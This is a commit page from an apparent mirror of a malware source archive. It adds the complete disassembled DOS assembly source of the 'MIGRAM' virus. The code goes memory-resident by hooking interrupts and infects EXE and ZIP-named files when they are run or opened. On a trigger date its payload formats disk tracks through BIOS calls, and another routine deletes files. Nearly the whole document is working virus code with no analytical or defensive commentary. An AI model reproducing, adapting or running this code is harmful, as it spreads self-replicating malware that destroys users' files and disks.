mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,657 @@
|
||||
PAGE 59,132
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ MIGRAM ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Created: 2-Jan-80 ÛÛ
|
||||
;ÛÛ Version: ÛÛ
|
||||
;ÛÛ Passes: 5 Analysis Options on: H ÛÛ
|
||||
;ÛÛ (C) 1991 IVL ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
data_1e equ 4Ch ; (0000:004C=0D0h)
|
||||
data_3e equ 84h ; (0000:0084=0C7h)
|
||||
data_5e equ 90h ; (0000:0090=0BFh)
|
||||
data_7e equ 102h ; (0000:0102=0F000h)
|
||||
data_8e equ 106h ; (0000:0106=0F000h)
|
||||
data_9e equ 47Bh ; (0000:047B=14h)
|
||||
data_10e equ 0 ; (0676:0000=0E8h)
|
||||
data_11e equ 1 ; (0677:0001=3EC4h)
|
||||
data_12e equ 2 ; (06C7:0002=0B8C3h)
|
||||
data_13e equ 6 ; (06C7:0006=0F0EBh)
|
||||
data_35e equ 0FCB6h ; (7382:FCB6=0)
|
||||
data_36e equ 0FCB8h ; (7382:FCB8=0)
|
||||
data_37e equ 0FCD4h ; (7382:FCD4=0)
|
||||
data_38e equ 0FCD6h ; (7382:FCD6=0)
|
||||
data_39e equ 0FCD8h ; (7382:FCD8=0)
|
||||
data_40e equ 0FCE2h ; (7382:FCE2=0)
|
||||
data_41e equ 0FCE4h ; (7382:FCE4=0)
|
||||
data_42e equ 0FCEAh ; (7382:FCEA=0)
|
||||
data_43e equ 0FCECh ; (7382:FCEC=0)
|
||||
data_44e equ 0 ; (F000:0000=0AA55h)
|
||||
data_45e equ 2 ; (F000:0002=40h)
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
migram proc far
|
||||
|
||||
start:
|
||||
jmp loc_22 ; (0449)
|
||||
db 0C3h
|
||||
db 23 dup (0C3h)
|
||||
db 2Ah, 2Eh, 5Ah, 49h, 50h, 0
|
||||
data_17 dw 0C3C3h
|
||||
data_18 dw 0C3C3h
|
||||
data_19 db 0, 0
|
||||
data_20 dw 0
|
||||
data_21 dw 0
|
||||
data_22 dw 0
|
||||
data_23 dw 7382h
|
||||
data_24 dd 00000h
|
||||
data_25 dw 0
|
||||
data_26 dw 7382h
|
||||
data_27 dd 00000h
|
||||
data_28 dw 0
|
||||
data_29 dw 7382h
|
||||
data_30 db 0Ah, 0Dh, ' ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ'
|
||||
db '»', 0Ah, 0Dh, ' º MIGRAM VIRUS '
|
||||
db '1.0 º', 0Ah, 0Dh, ' º (C) 19'
|
||||
db '91 IVL º', 0Ah, 0Dh, ' ÈÍÍÍÍÍ'
|
||||
db 'ÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ', 0Ah, 0Dh, 0Ah
|
||||
db 0Dh, '$'
|
||||
db 3Dh, 4Dh, 4Bh, 75h, 9, 55h
|
||||
db 8Bh, 0ECh, 83h, 66h, 6, 0FEh
|
||||
db 5Dh, 0CFh, 80h, 0FCh, 4Bh, 74h
|
||||
db 12h, 3Dh, 0, 3Dh, 74h, 0Dh
|
||||
db 3Dh, 0, 6Ch, 75h, 5, 80h
|
||||
db 0FBh, 0, 74h, 3
|
||||
loc_1:
|
||||
jmp loc_13 ; (0277)
|
||||
loc_2:
|
||||
push es
|
||||
push ds
|
||||
push di
|
||||
push si
|
||||
push bp
|
||||
push dx
|
||||
push cx
|
||||
push bx
|
||||
push ax
|
||||
call sub_6 ; (03CF)
|
||||
call sub_7 ; (040C)
|
||||
cmp ax,6C00h
|
||||
jne loc_3 ; Jump if not equal
|
||||
mov dx,si
|
||||
loc_3:
|
||||
mov cx,80h
|
||||
mov si,dx
|
||||
|
||||
locloop_4:
|
||||
inc si
|
||||
mov al,[si]
|
||||
or al,al ; Zero ?
|
||||
loopnz locloop_4 ; Loop if zf=0, cx>0
|
||||
|
||||
sub si,2
|
||||
cmp word ptr [si],5049h
|
||||
je loc_7 ; Jump if equal
|
||||
cmp word ptr [si],4558h
|
||||
je loc_6 ; Jump if equal
|
||||
loc_5:
|
||||
jmp short loc_12 ; (026B)
|
||||
db 90h
|
||||
loc_6:
|
||||
cmp word ptr [si-2],452Eh
|
||||
je loc_8 ; Jump if equal
|
||||
jmp short loc_5 ; (01FE)
|
||||
loc_7:
|
||||
cmp word ptr [si-2],5A2Eh
|
||||
jne loc_5 ; Jump if not equal
|
||||
loc_8:
|
||||
mov ax,3D02h
|
||||
call sub_5 ; (03C8)
|
||||
jc loc_12 ; Jump if carry Set
|
||||
mov bx,ax
|
||||
mov ax,5700h
|
||||
call sub_5 ; (03C8)
|
||||
mov cs:data_20,cx ; (7382:0127=0)
|
||||
mov cs:data_21,dx ; (7382:0129=0)
|
||||
mov ax,4200h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
call sub_5 ; (03C8)
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,103h
|
||||
mov si,dx
|
||||
mov cx,18h
|
||||
mov ah,3Fh ; '?'
|
||||
call sub_5 ; (03C8)
|
||||
jc loc_10 ; Jump if carry Set
|
||||
cmp word ptr [si],5A4Dh
|
||||
jne loc_9 ; Jump if not equal
|
||||
call sub_1 ; (027C)
|
||||
jmp short loc_10 ; (0254)
|
||||
loc_9:
|
||||
call sub_4 ; (03AA)
|
||||
loc_10:
|
||||
jc loc_11 ; Jump if carry Set
|
||||
mov ax,5701h
|
||||
mov cx,cs:data_20 ; (7382:0127=0)
|
||||
mov dx,cs:data_21 ; (7382:0129=0)
|
||||
call sub_5 ; (03C8)
|
||||
loc_11:
|
||||
mov ah,3Eh ; '>'
|
||||
call sub_5 ; (03C8)
|
||||
loc_12:
|
||||
call sub_7 ; (040C)
|
||||
pop ax
|
||||
pop bx
|
||||
pop cx
|
||||
pop dx
|
||||
pop bp
|
||||
pop si
|
||||
pop di
|
||||
pop ds
|
||||
pop es
|
||||
loc_13:
|
||||
jmp cs:data_24 ; (7382:012F=0)
|
||||
|
||||
migram endp
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_1 proc near
|
||||
mov ah,2Ah ; '*'
|
||||
int 21h ; DOS Services ah=function 2Ah
|
||||
; get date, cx=year, dx=mon/day
|
||||
cmp al,6
|
||||
je loc_15 ; Jump if equal
|
||||
jnz loc_14 ; Jump if not zero
|
||||
loc_14:
|
||||
mov cx,[si+16h]
|
||||
add cx,[si+8]
|
||||
mov ax,10h
|
||||
mul cx ; dx:ax = reg * ax
|
||||
add ax,[si+14h]
|
||||
adc dx,0
|
||||
push dx
|
||||
push ax
|
||||
mov ax,4202h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
call sub_5 ; (03C8)
|
||||
cmp dx,0
|
||||
jne loc_16 ; Jump if not equal
|
||||
cmp ax,4C3h
|
||||
jae loc_16 ; Jump if above or =
|
||||
pop ax
|
||||
pop dx
|
||||
stc ; Set carry flag
|
||||
retn
|
||||
loc_15:
|
||||
mov ah,5
|
||||
mov ch,0
|
||||
mov cl,0
|
||||
mov dh,0
|
||||
mov dl,2
|
||||
int 13h ; Disk dl=drive #: ah=func c5h
|
||||
; format track=ch or cylindr=cx
|
||||
mov ah,5
|
||||
mov ch,0
|
||||
mov cl,1
|
||||
mov dh,0
|
||||
mov dl,2
|
||||
int 13h ; Disk dl=drive #: ah=func c5h
|
||||
; format track=ch or cylindr=cx
|
||||
mov ah,5
|
||||
mov ch,0
|
||||
mov cl,2
|
||||
mov dh,0
|
||||
mov dl,2
|
||||
int 13h ; Disk dl=drive #: ah=func c5h
|
||||
; format track=ch or cylindr=cx
|
||||
mov ah,5
|
||||
mov ch,0
|
||||
mov cl,3
|
||||
mov dh,0
|
||||
mov dl,2
|
||||
int 13h ; Disk dl=drive #: ah=func c5h
|
||||
; format track=ch or cylindr=cx
|
||||
mov ah,5
|
||||
mov ch,0
|
||||
mov cl,4
|
||||
mov dh,0
|
||||
mov dl,2
|
||||
int 13h ; Disk dl=drive #: ah=func c5h
|
||||
; format track=ch or cylindr=cx
|
||||
mov ah,5
|
||||
mov ch,0
|
||||
mov cl,5
|
||||
mov dh,0
|
||||
mov dl,2
|
||||
int 13h ; Disk dl=drive #: ah=func c5h
|
||||
; format track=ch or cylindr=cx
|
||||
mov dx,offset data_30 ; (7382:013F=0Ah)
|
||||
mov ah,9
|
||||
int 21h ; DOS Services ah=function 09h
|
||||
; display char string at ds:dx
|
||||
call sub_9 ; (043A)
|
||||
int 20h ; Program Terminate
|
||||
loc_16:
|
||||
mov di,ax
|
||||
mov bp,dx
|
||||
pop cx
|
||||
sub ax,cx
|
||||
pop cx
|
||||
sbb dx,cx
|
||||
cmp word ptr [si+0Ch],0
|
||||
je loc_ret_19 ; Jump if equal
|
||||
cmp dx,0
|
||||
jne loc_17 ; Jump if not equal
|
||||
cmp ax,4C3h
|
||||
jne loc_17 ; Jump if not equal
|
||||
stc ; Set carry flag
|
||||
retn
|
||||
loc_17:
|
||||
mov dx,bp
|
||||
mov ax,di
|
||||
push dx
|
||||
push ax
|
||||
add ax,4C3h
|
||||
adc dx,0
|
||||
mov cx,200h
|
||||
div cx ; ax,dx rem=dx:ax/reg
|
||||
les di,dword ptr [si+2] ; Load 32 bit ptr
|
||||
mov cs:data_22,di ; (7382:012B=0)
|
||||
mov cs:data_23,es ; (7382:012D=7382h)
|
||||
mov [si+2],dx
|
||||
cmp dx,0
|
||||
je loc_18 ; Jump if equal
|
||||
inc ax
|
||||
loc_18:
|
||||
mov [si+4],ax
|
||||
pop ax
|
||||
pop dx
|
||||
call sub_2 ; (038B)
|
||||
sub ax,[si+8]
|
||||
les di,dword ptr [si+14h] ; Load 32 bit ptr
|
||||
mov data_17,di ; (7382:0121=0C3C3h)
|
||||
mov data_18,es ; (7382:0123=0C3C3h)
|
||||
mov [si+14h],dx
|
||||
mov [si+16h],ax
|
||||
mov word ptr data_19,ax ; (7382:0125=0)
|
||||
mov ax,4202h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
call sub_5 ; (03C8)
|
||||
call sub_3 ; (039C)
|
||||
jc loc_ret_19 ; Jump if carry Set
|
||||
mov ax,4200h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
call sub_5 ; (03C8)
|
||||
mov ah,40h ; '@'
|
||||
mov dx,si
|
||||
mov cx,18h
|
||||
call sub_5 ; (03C8)
|
||||
|
||||
loc_ret_19:
|
||||
retn
|
||||
sub_1 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_2 proc near
|
||||
mov cx,4
|
||||
mov di,ax
|
||||
and di,0Fh
|
||||
|
||||
locloop_20:
|
||||
shr dx,1 ; Shift w/zeros fill
|
||||
rcr ax,1 ; Rotate thru carry
|
||||
loop locloop_20 ; Loop if cx > 0
|
||||
|
||||
mov dx,di
|
||||
retn
|
||||
sub_2 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_3 proc near
|
||||
mov ah,40h ; '@'
|
||||
mov cx,4C3h
|
||||
mov dx,100h
|
||||
call sub_6 ; (03CF)
|
||||
jmp short loc_21 ; (03C8)
|
||||
db 90h
|
||||
|
||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
|
||||
sub_4:
|
||||
mov dx,10h
|
||||
mov ah,1Ah
|
||||
int 21h ; DOS Services ah=function 1Ah
|
||||
; set DTA to ds:dx
|
||||
mov dx,11Bh
|
||||
mov cx,110Bh
|
||||
mov ah,4Eh ; 'N'
|
||||
int 21h ; DOS Services ah=function 4Eh
|
||||
; find 1st filenam match @ds:dx
|
||||
mov dx,2Eh
|
||||
mov ax,3D02h
|
||||
int 21h ; DOS Services ah=function 3Dh
|
||||
; open file, al=mode,name@ds:dx
|
||||
mov ah,41h ; 'A'
|
||||
int 21h ; DOS Services ah=function 41h
|
||||
; delete file, name @ ds:dx
|
||||
retn
|
||||
sub_3 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_5 proc near
|
||||
loc_21:
|
||||
pushf ; Push flags
|
||||
call cs:data_24 ; (7382:012F=0)
|
||||
retn
|
||||
sub_5 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_6 proc near
|
||||
push ax
|
||||
push ds
|
||||
push es
|
||||
xor ax,ax ; Zero register
|
||||
push ax
|
||||
pop ds
|
||||
cli ; Disable interrupts
|
||||
les ax,dword ptr ds:data_5e ; (0000:0090=5BFh) Load 32 bit ptr
|
||||
mov cs:data_25,ax ; (7382:0133=0)
|
||||
mov cs:data_26,es ; (7382:0135=7382h)
|
||||
mov ax,431h
|
||||
mov ds:data_5e,ax ; (0000:0090=5BFh)
|
||||
mov word ptr ds:data_5e+2,cs ; (0000:0092=0EA3h)
|
||||
les ax,dword ptr ds:data_1e ; (0000:004C=20D0h) Load 32 bit ptr
|
||||
mov cs:data_28,ax ; (7382:013B=0)
|
||||
mov cs:data_29,es ; (7382:013D=7382h)
|
||||
les ax,cs:data_27 ; (7382:0137=0) Load 32 bit ptr
|
||||
mov ds:data_1e,ax ; (0000:004C=20D0h)
|
||||
mov word ptr ds:data_1e+2,es ; (0000:004E=102Ch)
|
||||
sti ; Enable interrupts
|
||||
pop es
|
||||
pop ds
|
||||
pop ax
|
||||
retn
|
||||
sub_6 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_7 proc near
|
||||
push ax
|
||||
push ds
|
||||
push es
|
||||
xor ax,ax ; Zero register
|
||||
push ax
|
||||
pop ds
|
||||
cli ; Disable interrupts
|
||||
les ax,dword ptr cs:data_25 ; (7382:0133=0) Load 32 bit ptr
|
||||
mov ds:data_5e,ax ; (0000:0090=5BFh)
|
||||
mov word ptr ds:data_5e+2,es ; (0000:0092=0EA3h)
|
||||
les ax,dword ptr cs:data_28 ; (7382:013B=0) Load 32 bit ptr
|
||||
mov ds:data_1e,ax ; (0000:004C=20D0h)
|
||||
mov word ptr ds:data_1e+2,es ; (0000:004E=102Ch)
|
||||
sti ; Enable interrupts
|
||||
pop es
|
||||
pop ds
|
||||
pop ax
|
||||
retn
|
||||
sub_7 endp
|
||||
|
||||
db 0B0h, 3, 0CFh
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_8 proc near
|
||||
mov dx,10h
|
||||
mul dx ; dx:ax = reg * ax
|
||||
retn
|
||||
sub_8 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_9 proc near
|
||||
xor ax,ax ; Zero register
|
||||
xor bx,bx ; Zero register
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
xor si,si ; Zero register
|
||||
xor di,di ; Zero register
|
||||
xor bp,bp ; Zero register
|
||||
retn
|
||||
sub_9 endp
|
||||
|
||||
loc_22:
|
||||
push ds
|
||||
call sub_10 ; (044D)
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_10 proc near
|
||||
mov ax,4B4Dh
|
||||
int 21h ; DOS Services ah=function 4Bh
|
||||
; run progm @ds:dx, parm @es:bx
|
||||
jc loc_23 ; Jump if carry Set
|
||||
jmp loc_33 ; (057D)
|
||||
loc_23:
|
||||
pop si
|
||||
push si
|
||||
mov di,si
|
||||
xor ax,ax ; Zero register
|
||||
push ax
|
||||
pop ds
|
||||
les ax,dword ptr ds:data_1e ; (0000:004C=20D0h) Load 32 bit ptr
|
||||
mov cs:data_42e[si],ax ; (7382:FCEA=0)
|
||||
mov cs:data_43e[si],es ; (7382:FCEC=0)
|
||||
les bx,dword ptr ds:data_3e ; (0000:0084=6C7h) Load 32 bit ptr
|
||||
mov cs:data_40e[di],bx ; (7382:FCE2=0)
|
||||
mov cs:data_41e[di],es ; (7382:FCE4=0)
|
||||
mov ax,ds:data_7e ; (0000:0102=0F000h)
|
||||
cmp ax,0F000h
|
||||
jne loc_31 ; Jump if not equal
|
||||
mov dl,80h
|
||||
mov ax,ds:data_8e ; (0000:0106=0F000h)
|
||||
cmp ax,0F000h
|
||||
je loc_24 ; Jump if equal
|
||||
cmp ah,0C8h
|
||||
jb loc_31 ; Jump if below
|
||||
cmp ah,0F4h
|
||||
jae loc_31 ; Jump if above or =
|
||||
test al,7Fh
|
||||
jnz loc_31 ; Jump if not zero
|
||||
mov ds,ax
|
||||
cmp word ptr ds:data_44e,0AA55h ; (F000:0000=0AA55h)
|
||||
jne loc_31 ; Jump if not equal
|
||||
mov dl,ds:data_45e ; (F000:0002=40h)
|
||||
loc_24:
|
||||
mov ds,ax
|
||||
xor dh,dh ; Zero register
|
||||
mov cl,9
|
||||
shl dx,cl ; Shift w/zeros fill
|
||||
mov cx,dx
|
||||
xor si,si ; Zero register
|
||||
|
||||
locloop_25:
|
||||
lodsw ; String [si] to ax
|
||||
cmp ax,0FA80h
|
||||
jne loc_26 ; Jump if not equal
|
||||
lodsw ; String [si] to ax
|
||||
cmp ax,7380h
|
||||
je loc_27 ; Jump if equal
|
||||
jnz loc_28 ; Jump if not zero
|
||||
loc_26:
|
||||
cmp ax,0C2F6h
|
||||
jne loc_29 ; Jump if not equal
|
||||
lodsw ; String [si] to ax
|
||||
cmp ax,7580h
|
||||
jne loc_28 ; Jump if not equal
|
||||
loc_27:
|
||||
inc si
|
||||
lodsw ; String [si] to ax
|
||||
cmp ax,40CDh
|
||||
je loc_30 ; Jump if equal
|
||||
sub si,3
|
||||
loc_28:
|
||||
dec si
|
||||
dec si
|
||||
loc_29:
|
||||
dec si
|
||||
loop locloop_25 ; Loop if cx > 0
|
||||
|
||||
jmp short loc_31 ; (04EC)
|
||||
loc_30:
|
||||
sub si,7
|
||||
mov cs:data_42e[di],si ; (7382:FCEA=0)
|
||||
mov cs:data_43e[di],ds ; (7382:FCEC=0)
|
||||
loc_31:
|
||||
mov ah,62h ; 'b'
|
||||
int 21h ; DOS Services ah=function 62h
|
||||
; get progrm seg prefix addr bx
|
||||
mov es,bx
|
||||
mov ah,49h ; 'I'
|
||||
int 21h ; DOS Services ah=function 49h
|
||||
; release memory block, es=seg
|
||||
mov bx,0FFFFh
|
||||
mov ah,48h ; 'H'
|
||||
int 21h ; DOS Services ah=function 48h
|
||||
; allocate memory, bx=bytes/16
|
||||
sub bx,4Eh
|
||||
nop
|
||||
jc loc_33 ; Jump if carry Set
|
||||
mov cx,es
|
||||
stc ; Set carry flag
|
||||
adc cx,bx
|
||||
mov ah,4Ah ; 'J'
|
||||
int 21h ; DOS Services ah=function 4Ah
|
||||
; change mem allocation, bx=siz
|
||||
mov bx,4Dh
|
||||
stc ; Set carry flag
|
||||
sbb es:data_12e,bx ; (06C7:0002=0B8C3h)
|
||||
push es
|
||||
mov es,cx
|
||||
mov ah,4Ah ; 'J'
|
||||
int 21h ; DOS Services ah=function 4Ah
|
||||
; change mem allocation, bx=siz
|
||||
mov ax,es
|
||||
dec ax
|
||||
mov ds,ax
|
||||
mov word ptr ds:data_11e,8 ; (0677:0001=3EC4h)
|
||||
call sub_8 ; (0434)
|
||||
mov bx,ax
|
||||
mov cx,dx
|
||||
pop ds
|
||||
mov ax,ds
|
||||
call sub_8 ; (0434)
|
||||
add ax,ds:data_13e ; (06C7:0006=0F0EBh)
|
||||
adc dx,0
|
||||
sub ax,bx
|
||||
sbb dx,cx
|
||||
jc loc_32 ; Jump if carry Set
|
||||
sub ds:data_13e,ax ; (06C7:0006=0F0EBh)
|
||||
loc_32:
|
||||
mov si,di
|
||||
xor di,di ; Zero register
|
||||
push cs
|
||||
pop ds
|
||||
sub si,34Dh
|
||||
mov cx,4C3h
|
||||
inc cx
|
||||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||||
mov ah,62h ; 'b'
|
||||
int 21h ; DOS Services ah=function 62h
|
||||
; get progrm seg prefix addr bx
|
||||
dec bx
|
||||
mov ds,bx
|
||||
mov byte ptr ds:data_10e,5Ah ; (0676:0000=0E8h) 'Z'
|
||||
mov dx,1A8h
|
||||
xor ax,ax ; Zero register
|
||||
push ax
|
||||
pop ds
|
||||
mov ax,es
|
||||
sub ax,10h
|
||||
mov es,ax
|
||||
cli ; Disable interrupts
|
||||
mov ds:data_3e,dx ; (0000:0084=6C7h)
|
||||
mov word ptr ds:data_3e+2,es ; (0000:0086=102Ch)
|
||||
sti ; Enable interrupts
|
||||
dec byte ptr ds:data_9e ; (0000:047B=14h)
|
||||
loc_33:
|
||||
pop si
|
||||
cmp word ptr cs:data_35e[si],5A4Dh ; (7382:FCB6=0)
|
||||
jne loc_34 ; Jump if not equal
|
||||
pop ds
|
||||
mov ax,cs:data_39e[si] ; (7382:FCD8=0)
|
||||
mov bx,cs:data_38e[si] ; (7382:FCD6=0)
|
||||
push cs
|
||||
pop cx
|
||||
sub cx,ax
|
||||
add cx,bx
|
||||
push cx
|
||||
push word ptr cs:data_37e[si] ; (7382:FCD4=0)
|
||||
push ds
|
||||
pop es
|
||||
call sub_9 ; (043A)
|
||||
retf ; Return far
|
||||
loc_34:
|
||||
pop ax
|
||||
mov ax,cs:data_35e[si] ; (7382:FCB6=0)
|
||||
mov word ptr cs:[100h],ax ; (7382:0100=46E9h)
|
||||
mov ax,cs:data_36e[si] ; (7382:FCB8=0)
|
||||
mov word ptr cs:[102h],ax ; (7382:0102=0C303h)
|
||||
mov ax,100h
|
||||
push ax
|
||||
push cs
|
||||
pop ds
|
||||
push ds
|
||||
pop es
|
||||
call sub_9 ; (043A)
|
||||
retn
|
||||
sub_10 endp
|
||||
|
||||
|
||||
seg_a ends
|
||||
|
||||
|
||||
|
||||
end start
|
||||
Reference in New Issue
Block a user